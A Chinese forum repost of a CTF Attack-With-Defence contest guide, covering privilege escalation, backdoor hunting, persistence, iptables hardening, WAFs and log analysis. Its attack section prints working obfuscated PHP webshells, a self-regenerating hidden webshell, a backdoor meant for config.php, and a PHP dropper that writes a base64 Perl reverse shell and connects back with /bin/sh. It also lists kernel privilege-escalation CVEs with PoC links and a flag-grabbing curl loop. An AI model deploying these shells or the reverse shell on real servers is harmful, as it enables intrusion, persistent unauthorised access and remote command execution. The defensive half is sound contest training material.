设为首页收藏本站
开启辅助访问 切换到窄版

安全矩阵

 找回密码
 立即注册
搜索
安全矩阵»安全矩阵 › 安全矩阵实验室 › 技术转载 › CTF线下AWD经验总结
返回列表 发新帖
查看: 2719|回复: 0

CTF线下AWD经验总结

[复制链接]
Delina

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-26 10:30:38 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-7-26 10:35 编辑

原文链接：CTF线下AWD经验总结
​
简介随着CTF的普及，比赛的形式也有了越来越多的花样，对于线下赛来说，常见为 AWD:Attack With Defence+公共高地、内网渗透等形式。
由于前段时间准备线下赛时，看了许多大佬们总结的套路，他们各种骚操作让我学到了许多，所以就想把几篇我觉得比较好的总结一下，一来方便自己比赛前回顾一下，二来跟大家分享，希望能对各位CTF朋友们有所帮助。
之后如果学到什么新姿势，我有时间也会update上来和大家分享
何为AWD
比赛中每个队伍维护多台服务器，服务器中存在多个漏洞，利用漏洞攻击其他队伍可以进行得分，修复漏洞可以避免被其他队伍攻击失分。
  •         一般分配Web服务器，服务器（多数为Linux）某处存在flag（一般在根目录下）
  •         可能会提供一台流量分析虚拟机，可以下载流量文件进行数据分析；
  •         flag在主办方的设定下每隔一定时间刷新一轮
  •         各队一般都有自己的初始分数
  •         flag一旦被其他队伍拿走，该队扣除一定积分
  •         扣除的积分由获取flag的队伍均分
  •         主办方会对每个队伍的服务进行check，服务宕机扣除本轮flag分数，扣除的分值由服务check正常的队伍均分
  •         一般每个队伍会给一个低权限用户，非root权限
具体规则以具体比赛规则为准，但一般大同小异
网络环境
网络拓扑如下图所示（示例）：
​
首先先理清好网络拓扑关系，节点与各链路之间的关联，方便下一步和队友配合，要不然不知道对手在哪就GG。
比赛分工
线下赛一般3人左右，2人攻击，1人防御，因为发现的漏洞可以攻击其他队伍，也要进行修复，所以攻防相辅相成，以攻为守。
一般来说，比赛中每个队伍需要维护多个靶机，web、二进制等，也可以每人负责一台，各自负责攻击和防御。
套路小结常规的CTF线下攻防思路：
​
服务器登录
一般比赛都通过ssh连接服务器，拿到网络拓扑图后，和队友进行分工，一个人检查有没有弱口令（弱口令的问题几乎是必考），有的话对密码进行修改（越复杂越好，当然前提是自己也方便）。web后台也很有可能存在弱口令，一般都是admin/admin ，admin/123456，test/test等等，同样需要立即修改，并将情况反馈给队友，凭着你的手速修改其他队伍的后台口令，为本队所用，甚至有些严重的可以利用后台getshell。
与此同时，还需要（一定要！必须要！）有人在比赛开始后第一时间备份服务器中web目录下的文件（/var/www/html）。这是自我审计的基础，也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会（但一般会伴随着扣分为代价），有的比赛不提供，所以备份十分重要。
可以用scp命令，也可用一些图形化的工具：Winscp，MobaXterm等，操作起来比较方便。
接着就是上WAF、文件监控、端口扫描。将这几个工作分工好，顺序就像图上。
提权
在AWD中，一般都需要专门防御加固自己服务器的环节，但加固的很多操作都会涉及到root权限，如果直接给root权限最好，但一般只会给一个普通权限账号，这时候往往就需要给服务器提权了。关于提权，通常我们要根据kernel版本号找到对应的poc，平时我们可以收集测试一些比较新的提权poc，以备不时之需。
Linux_Local_Root_Exploits ：这网站收集了许多linux本地提权的poc。
linux-kernel-exploits(github) ：一个挺全的提权exp项目，收集了04年至今的exp，并按年份和CVE归类
下面分享几个最近两年并且影响范围比较大的：
  •         CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) ：DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存，导致拒绝服务（系统崩溃）或者提升权限，获得系统的管理访问权限
  •         CVE-2016-5195(脏牛，kernel 2.6.22 < 3.9 (x86/x64)) ：低权限用户可修改root用户创建的文件内容，如修改 /etc/passwd，把当前用户的 uid 改成 0 即可提升为root权限
  •         CVE-2016-8655(Ubuntu 12.04、14.04，Debian 7、8) ：条件竞争漏洞，可以让低权限的进程获得内核代码执行权限
            
            POC：https://www.seebug.org/vuldb/ssvid-92567
            
  •         CVE-2017-1000367(sudo本地提权漏洞 ) ：Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞，它影响Linux，FreeBSD和OpenBSD，NetBSD，Solaris，i386和AMD64，攻击者可以利用它破坏内存并执行任意代码 。
  •         CVE-2016-1247(Nginx权限提升漏洞) ：Nginx服务在创建log目录时使用了不安全的权限设置，可造成本地权限提升，恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
            
            POC：https://legalhackers.com/advisor ... -CVE-2016-1247.html
            

我收集了一些提权的脚本工具集，可作参考：https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT
How to Attack
主机发现
如果是在同个C段，或者B段，均可以使用扫描器进行扫描得出。还要记得扫端口，这很重要，当然这个端口扫描是建立在没有自己靶机权限的情况下。用nmap也行，自己写的脚本或者网上找的也行。
找预留后门
有的比赛环境，为了照顾比较菜的选手，预留了一句话后门，可以利用这个漏洞迅速打一波，还可以视情况“搅屎”，利用这个漏洞一直维持权限，每轮都得分。
将整个web目录下载到本地，使用hm.exe、D盾或者别的扫描工具可以扫描得出（如果预留）
发现后门后，第一时间删除，同时利用这个漏洞发起第一波攻击，如果利用菜刀连，显然不够优雅，还没连完，人家估计都删的差不多了，因此这个漏洞虽然是送分，但拼的是手速，因此得提前准备好脚本
代码审计
代码审计是攻防一体的工作，当发现漏洞时，修补的同时跟进攻的队友商讨如何利用
​
一句话木马
控制用的一句话木马，最好是需要菜刀配置的，这样做是为了不让别人轻易的利用你的一句话，要不然就只能等着别人用你的脚本捡分。
比较好的一句话：
  1. <?php
  2. $a=chr(96^5);
  3. $b=chr(57^79);
  4. $c=chr(15^110);
  5. $d=chr(58^86);
  6. $e='($_REQUEST[C])';
  7. @assert($a.$b.$c.$d.$e);
  8. ?>
复制代码

配置为?b=))99(rhC(tseuqeR+lave
[tr]                [/tr][/table]
  1. <?php
  2. $sF="PCT4BA6ODSE_";
  3. $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
  4. $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
  5. ?>
复制代码

配置为n985de9=QGV2YWwoJF9QT1NUWzBdKTs= ，连接密码为0（数字）
单个文件批量上传
当我们通过某个漏洞批量上传了很多的webshell后，可能想要批量传个后门以备后用。这时我们可以通过用脚本批量上传来提高效率：batch_upload_file
权限维持
上面说到利用预留后门可以维持权限，主要有两种，一种是“不死马”，另一种是反弹shell
“不死马”
[table=556]
  1. <?php
  2.     set_time_limit(0);
  3.     ignore_user_abort(true);
  4.     $file = '.demo.php';
  5.     $shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
  6.     //$_hR='chr'
  7.     //$_cC='eval($_POST[1]);'
  8.     //$_fF='create_function'
  9.     while(true){
  10.         file_put_contents($file, $shell);
  11.         system('chmod 777 .demo.php');
  12.         touch(".demo.php", mktime(11,11,11,11,11,2018));
  13.         usleep(50);
  14.         }
  15. ?>
复制代码


利用预留后门，上传上面的“不死马”并访问，就会一直生成.demo.php的一句话木马，木马内容可以自行修改，只要别被其他队伍看懂就行。
文件名前加一个点，能更好地隐藏文件
想要结束这个进程，除了最暴力的重启服务之外，更为优雅的如下:
  1. <?php
  2. while (1) {
  3. $pid=1234;
  4. @unlink('.demo.php');
  5. exec('kill -9 $pid');
  6. }
  7. ?>
复制代码
先查看进程，查看对应的pid，再执行即可。
md5马+header
  1. <?php
  2. echo 'hello';
  3. if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
  4.         if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
  5.         $test= 'flag';
  6.     header("flag:$test");
  7. }
  8. ?>
复制代码

放进config.php效果最好，因为一般很少人去看这个。
反弹shell
  1. <?php
  2.     function which($pr){
  3.         $path = execute("which $pr");
  4.         return ($path ? $path : $pr);
  5.     }
  6.     function execute($cfe){
  7.         $res = '';
  8.         if ($cfe){
  9.             if(function_exists('exec')){
  10.                 @exec($cfe,$res);
  11.                 $res = join("\n",$res);
  12.             }
  13.             elseif(function_exists('shell_exec')){
  14.                 $res = @shell_exec($cfe);
  15.             }
  16.             elseif(function_exists('system')){
  17.                 @ob_start();
  18.                 @system($cfe);
  19.                 $res = @ob_get_contents();
  20.                 @ob_end_clean();
  21.             }
  22.             elseif(function_exists('passthru')){
  23.             @ob_start();
  24.             @passthru($cfe);
  25.             $res = @ob_get_contents();
  26.             @ob_end_clean();
  27.             }
  28.             elseif(@is_resource($f = @popen($cfe,"r"))){
  29.                 $res = '';
  30.                 while(!@feof($f)){
  31.                     $res .= @fread($f,1024);
  32.                 }
  33.                 @pclose($f);
  34.             }
  35.         }
  36.         return $res;
  37.     }
  38.     function cf($fname,$text){
  39.         if($fp=@fopen($fname,'w')) {
  40.             @fputs($fp,@base64_decode($text));
  41.             @fclose($fp);
  42.         }
  43.     }

  45.     $yourip = "127.0.0.1";
  46.     $yourport = '9999';
  47.     $usedb = array('perl'=>'perl','c'=>'c');
  48.   $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  49.     /*
  50.     base64加密内容如下：
  51.     #!/usr/bin/perl
  52.     use Socket;
  53.     $cmd= "lynx";
  54.     $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  55.     $0=$cmd;
  56.     $target=$ARGV[0];
  57.     $port=$ARGV[1];
  58.     $iaddr=inet_aton($target) || die("Error: $!\n");
  59.     $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  60.     $proto=getprotobyname('tcp');
  61.     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  62.     connect(SOCKET, $paddr) || die("Error: $!\n");
  63.     open(STDIN, ">&SOCKET");
  64.     open(STDOUT, ">&SOCKET");
  65.     open(STDERR, ">&SOCKET");
  66.     system($system);
  67.     close(STDIN);
  68.     close(STDOUT);
  69.     close(STDERR);
  70.      */
  71.     cf('/tmp/.bc',$back_connect);
  72.     $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
  73. ?>
复制代码

利用预留后门上传上面的php文件并访问，就可以用nc反弹shell，之后就可以一直得分了
How to Defend
常用命令
我们先总结一下线下赛的防护工作中常用的一些命令
  1. ssh <-p 端口> username@ip
  2. scp 文件路径  username@ip:存放路径
  3. cat /root/.bash_history
  4. #显示最近登录的5个帐号
  5. last -n 5|awk '{print $1}'
  6. #显示/etc/passwd的账户
  7. cat /etc/passwd|awk -F ':' '{print $1}'
  8. #查看UID为0的帐号
  9. awk -F: '{if($3==0)print $1}' /etc/passwd
  10. #查找777的权限的文件
  11. find . -name "*.php" -perm 4777
  12. #查找24小时内被修改的PHP文件
  13. find ./ -mtime 0 -name "*.php"
  14. #查看进程
  15. ps aux | grep pid或者进程名　　　　
  16. #查看已建立的网络连接及进程
  17. netstat -antulp | grep EST
  18. #查看指定端口被哪个进程占用
  19. lsof -i:端口号 或者 netstat -tunlp|grep 端口号
  20. #结束进程命令
  21. kill PID
  22. killall <进程名>
  23. pkill <进程名>
  24. pkill -u用户名
  25. #封杀某个IP或者ip段
  26. iptables -I INPUT -s source_ip[/mask] -j DROP
  27. #禁止从某个主机ssh远程访问登陆到本机
  28. iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP
  29. #备份mysql数据库
  30. mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
  31. mysqldump --all-databases > bak.sql
  32. #还原mysql数据库
  33. mysql -u 用户名 -p 密码 数据库名 < bak.sql
  34. #定时任务，在固定的时间间隔执行指定的系统指令或shell script
  35. crontab [-u user] file_name
  36. crontab [-u user] [-e |-l| -r]
  37. #检测所有的tcp连接数量及状态
  38. netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn
  39. #查看页面访问排名前十的IP
  40. cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k  -r|head -　　
  41. #查看页面访问排名前十的URL
  42. cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k  -r|head -
复制代码

文件监控
为了监控我们的web目录，我们可以对文件的增加或修改等操作进行限制，粗暴一点的话，就禁止任何文件产生变化。
  •         使用系统 chattr +i命令
            Linux下的文件有着隐藏属性，可以用lsattr命令查看。其中有一个i属性，表示不得更动任意文件或目录。如果你已经有root或者sudo权限了，那么你可以使用chattr +i 修改文件隐藏属性，这样所有用户都不能对该文件或者目录进行修改删除等操作（包括root），如果想进行修改，必须用chattr -i取消隐藏属性。
            
            e.g.
            防止系统中某个关键文件被修改：chattr +i /etc/profile
            将/var/www/html目录下的文件设置为不允许任何人修改： chattr -R +i /var/www/html
            
  •         使用python的第三方库pyinotify
            python的第三方库pyinotify可以让我们很方便地实现这些功能。但是由于是第三方库，线下赛中通常没法联网安装库，所以我们可以提前准备好source code以在比赛时安装。
            
            下载地址：https://pypi.python.org/pypi/pyinotify （如果比赛可以联网，建议直接通过pip安装）
            安装方法：解压，然后执行sudo pythonXXX setup.py install
            使用方法：python -m pyinotify monitoring_path
            
            但由于监控事件太过杂，很多并不是我们关注的，并且我们不仅仅要监控，还需要对某些操作进行自动处理，因此我们可以用脚本针对性地实现我们需要的功能：monitor_withPyinotify。
​​
网络控制
网络防护一定少不了 iptables了，但使用iptables需要有管理员权限。对于比赛环境，我们完全可以配置一个近乎苛刻的配置防火墙策略。
只开放一些比赛的必要端口，也可以防止后门的连接
  1. #开放ssh
  2. iptables -A INPUT -p tcp --dport 22 -j ACCEPT
  3. iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
  4. #打开80端口
  5. iptables -A INPUT -p tcp --dport 80 -j ACCEPT
  6. iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
  7. #开启多端口简单用法
  8. iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
  9. #允许外部访问本地多个端口 如8080，8081，8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
  10. iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
  11. iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
复制代码

限制ssh登陆，进行访问控制
  1. #禁止从xx.xx.xx.xx远程登陆到本机
  2. iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP
  3. #允许xx.xx.xx.xx网段远程登陆访问ssh
  4. iptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT
复制代码

限制IP连接数和连接速率
我们可以限制IP的网络连接数和速度等，限制过快的连接频率，这样可以在一定程度上限制对方的扫描器。狠一点的话，甚至可以让对方只能以手工点网页的速度与访问
  1. #单个IP的最大连接数为 30
  2. iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
  3. #单个IP在60秒内只允许最多新建15个连接
  4. iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
  5. iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
  6. #允许外部访问本机80端口，且本机初始只允许有10个连接，每秒新增加2个连接，如果访问超过此限制则拒接 （此方式可以限制一些攻击）
  7. iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
  8. iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
复制代码

再猥琐一点，可以定时断开已经建立的连接，让对方只能断断续续的访问
数据包简单识别，防止端口复用类的后门或者shell
假设病毒木马程序通过22，80端口向服务器外传送数据，这种方式向外发的数据不是我们通过访问网页请求而回应的数据包。我们可以禁止这些没有通过请求回应的数据包。
  1. iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
  2. iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
  3. iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
复制代码

限制访问
如果对方来势太凶，我们可以限制或者封杀他们的ip段。
  1. #禁止从客户机1.1.1.4访问1.1.1.5上的任何服务
  2. iptable -t filter -A FORWARD -s 1.1.1.4 -d 1.1.1.5 -j DROP
  3. #封杀1.1.1.4这个IP或者某个ip段
  4. iptables -I INPUT -s 1.1.1.4 -j DROP
  5. iptables -I INPUT -s 1.1.1.1/24 -j DROP
复制代码

过滤异常报文
iptables有一个TCP匹配扩展协议–tcp-flags，功能是过滤TCP中的一些包，比如SYN包，ACK包，FIN包，RST包等等。举个例子，我们知道SYN是建立连接，RST是重置连接，如果这两个同时出现，就知道这样的包是有问题的，应该丢弃。下面的例子是利用–tcp-flags参数，对一些包进行标识过滤，扔掉异常的数据包。
  1. #表示 SYN,FIN,ACK,RST的标识都检查，但只匹配SYN标识
  2. iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN
  3. #匹配SYN标识位
  4. iptables -A INPUT -p tcp --syn
  5. #检查所有的标识位，匹配到FIN URG PSH的丢弃
  6. iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
  7. #丢弃没标志位的包
  8. iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
  9. #匹配到SYN ACK FIN URG RST PSH的丢弃（类似的操作自行举一反三）
  10. iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG,PSH -j DROP
  11. #匹配到 SYN,RST的丢弃
  12. iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
复制代码

防DDOS
  1. iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
复制代码

-m limit：启用limit扩展
–limit 20/minute：允许最多每分钟10个连接
–limit-burst 100：当达到100个连接后，才启用上述20/minute限制
丢弃陌生的TCP响应包,防止反弹式攻击
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROPiptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP
  •         提供一个通用的firewall脚本firewall.sh，我们可以传到服务器上一键执行，相关参数可以查阅资料详细了解。
            
            注意，对于不同的iptables版本，一些参数的用法可以会有略微的差异，使用时我们可能要根据需要进行修改。
            

修复漏洞
CTF比赛中修复漏洞主要就是为了防止其他队伍的入侵了。
  •         删站（不建议）
            如果赛组没有明确禁止，这是最粗暴的姿势，只留自己的webshell。
  •         删页面
            大部分举办方还是会明确禁止删除网站的，通常赛组会定期访问网站主页（一般来说），从而确定网站是否正常运行。其实我们没必要删除整个网站，只要删掉有漏洞的页面就行了，比如删后台登录页面、注册页面、上传页面等等。
  •         破坏正常功能
            如果明确不能删除任何页面，可以选择让这些漏洞点的功能函数（或者其依赖的功能函数）失效。比如上传点，如果考虑过滤挺麻烦，又不能删页面，那么我们可以找到这个漏洞网页，改掉或者删掉文件里对应的类似upload等这种功能调用函数。
  •         正常修补手段
            规则限定很严的情况下，我们还是采用正常手法吧，修改服务配置、安装补丁、下载更新的软件版本、加过滤等等。
            
            第1~3种方法其实都算不上修补漏洞了，真实环境下哪能这么干。
            

上WAF
可以使用第三方软件的话，装个安全狗之类的吧。
下载链接：http://www.safedog.cn/website_safedog.html
也可以搜集或者自己实现一些脚本或者工具备用。
本人收集的一些WAF：https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
使用方法：
require_once('waf.php');
  •         将waf.php传到要包含的文件的目录
  •         在页面中加入防护，有两种做法，根据情况二选一：
    •                 PHPCMS V9：\phpcms\base.php
    •                 PHPWIND8.7：\data\sql_config.php
    •                 DEDECMS5.7：\data\common.inc.php
    •                 DiscuzX2：\config\config_global.php
    •                 Wordpress：\wp-config.php
    •                 Metinfo：\include\head.php
            
    •                 在所需要防护的页面加入代码：
            
    •                 这样就可以做到页面防注入、跨站。
                      如果想整站防注，就在网站的一个公用文件中添加上述代码来调用WAF
                     
                      常用的php的WAF添加路径：
                     

            
  •         在每个文件最前加上上述代码
            在php.ini中找到并添加：
Automatically add files before or after any PHP document.auto_prepend_file = waf.php的路径;
  •         还有最简便的方法，可以用一条命令解决，以php为例：
sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"#意思就是查找需要加waf的目录下所有php文件，在头部添加一句，用require_once函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串，所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义。
最后，提醒：需要注意的是，部署waf可能会导致服务不可用，部署后要密切留意自己服务器的状态。
流量和日志分析
通过对流量、日志的分析，可以：
  •         感知可能正在发生的攻击，从而规避存在的安全风险
  •         应急响应，还原攻击者的攻击路径，从而挽回已经造成的损失
  •         某些情况下还能对攻击进行重放复现
  •         流量分析
            在比赛机器上使用下述命令进行流量抓取：
tcpdump -s 0 -w flow_log.pcap port 9999
  •         然后在本地对抓取的pcap使用wireshark进行分析
  •         日志分析
            记录log的脚本网上有很多，大家可以自行搜索。例如：
  1. <?php
  2. date_default_timezone_set('Asia/Shanghai');
  3. $ip = $_SERVER["REMOTE_ADDR"];//记录访问者的ip
  4. $filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名
  5. $parameter = $_SERVER["QUERY_STRING"];//访问者要请求的参数
  6. $method = $_SERVER['REQUEST_METHOD'];//请求方法
  7. $time = date('Y-m-d H:i:s',time());//访问时间
  8. $post = file_get_contents("php://input",'r');//接收POST数据
  9. $others = '...其他你想得到的信息...';
  10. $logadd = '访问时间：'.$time.'-->'.'访问链接：http://'.$ip.$filename.'?'.$parameter.'请求方法：'.$method."\r\n";
  11. // log记录
  12. $fh = fopen("log.txt", "a");
  13. fwrite($fh, $logadd);
  14. fwrite($fh,print_r($_COOKIE, true)."\r\n");
  15. fwrite($fh,$others."\r\n");
  16. fclose($fh);
  17. ?>
复制代码


  •         日志分析工具有：
    •                 LogForensics@腾讯实验室
    •                 北风飘然@金乌网络安全实验室
    •                 piaox的多线程WEB安全日志分析脚本
    •                 SecSky的Web日志安全分析工具
    •                 鬼魅羊羔的Web日志分析脚本
            
假flag
如果说很不幸，我们前面的关卡都被突破了（实际上我都感觉前面那些设置都有点“搅屎”的味道了，不过还是希望师傅们能一起来讨论讨论有没有什么骚姿势，以及绕过它们的方法）。假设真的被突破了，对于CTF线下赛来说，我们最终的目的都是拿到flag。通常我们会在服务器上执行类似于getflag命令，或者curl访问某个url获取flag，然后获取到一个字符串，然后在答题平台上提交这段字符串即可获取分数。但有时候getflag时因为webshell丢了或其他原因，会导致服务器显示Error，那我们是不是可以故意利用这种报错来欺骗不细心的竞争对手呢？
怎样实现？比如我们可以添加alias别名，或者我们可以把这些命令更改或者替换掉，换成一些伪装命令程序。再换一层想想，接着上面的思路，如果我们替换或者伪装了系统命令，对方getshell之后，进来发现cd，ls等命令都没法用，会怎么样呢？
其他
flag获取
线下赛可以直接使用<?php echo system("curl 10.0.0.2"); ?>之类的
或者
  1. #!/bin/bash
  2. while true
  3. do
  4. flag=$(curl 'http://xx.xx.xx.xx:8080')
  5. curl --cookie "PHPSESSID=YourCookie;" --data "key="${flag} "http://XX.XX.XX.XX/index.php/submit"
  6. sleep 1s
  7. done
复制代码


批量提交flag
  1. #!/usr/bin/env python
  2. import sys
  3. import json
  4. import urllib
  5. import httplib
  6. server_host = 'xx.xx.xx.xx'
  7. server_port = 80
  8. def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
  9. if not team_token or not flag:
  10. raise Exception('team token or flag not found')
  11. conn = httplib.HTTPConnection(host, port, timeout=timeout)
  12. params = urllib.urlencode({
  13. 'token': team_token,
  14. 'flag': flag,
  15. })
  16. headers = {
  17. "Content-type": "application/x-www-form-urlencoded"
  18. }
  19. conn.request('POST', '/api/submit_flag', params, headers)
  20. response = conn.getresponse()
  21. data = response.read()
  22. return json.loads(data)

  24. if __name__ == '__main__':
  25. if len(sys.argv) < 3:
  26. print 'usage: ./submitflag.py $team_token $flag'
  27. sys.exit()
  28. host = server_host
  29. if len(sys.argv) > 3:
  30. host = sys.argv[3]
  31. print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
复制代码


​

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 13:38 , Processed in 0.015831 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表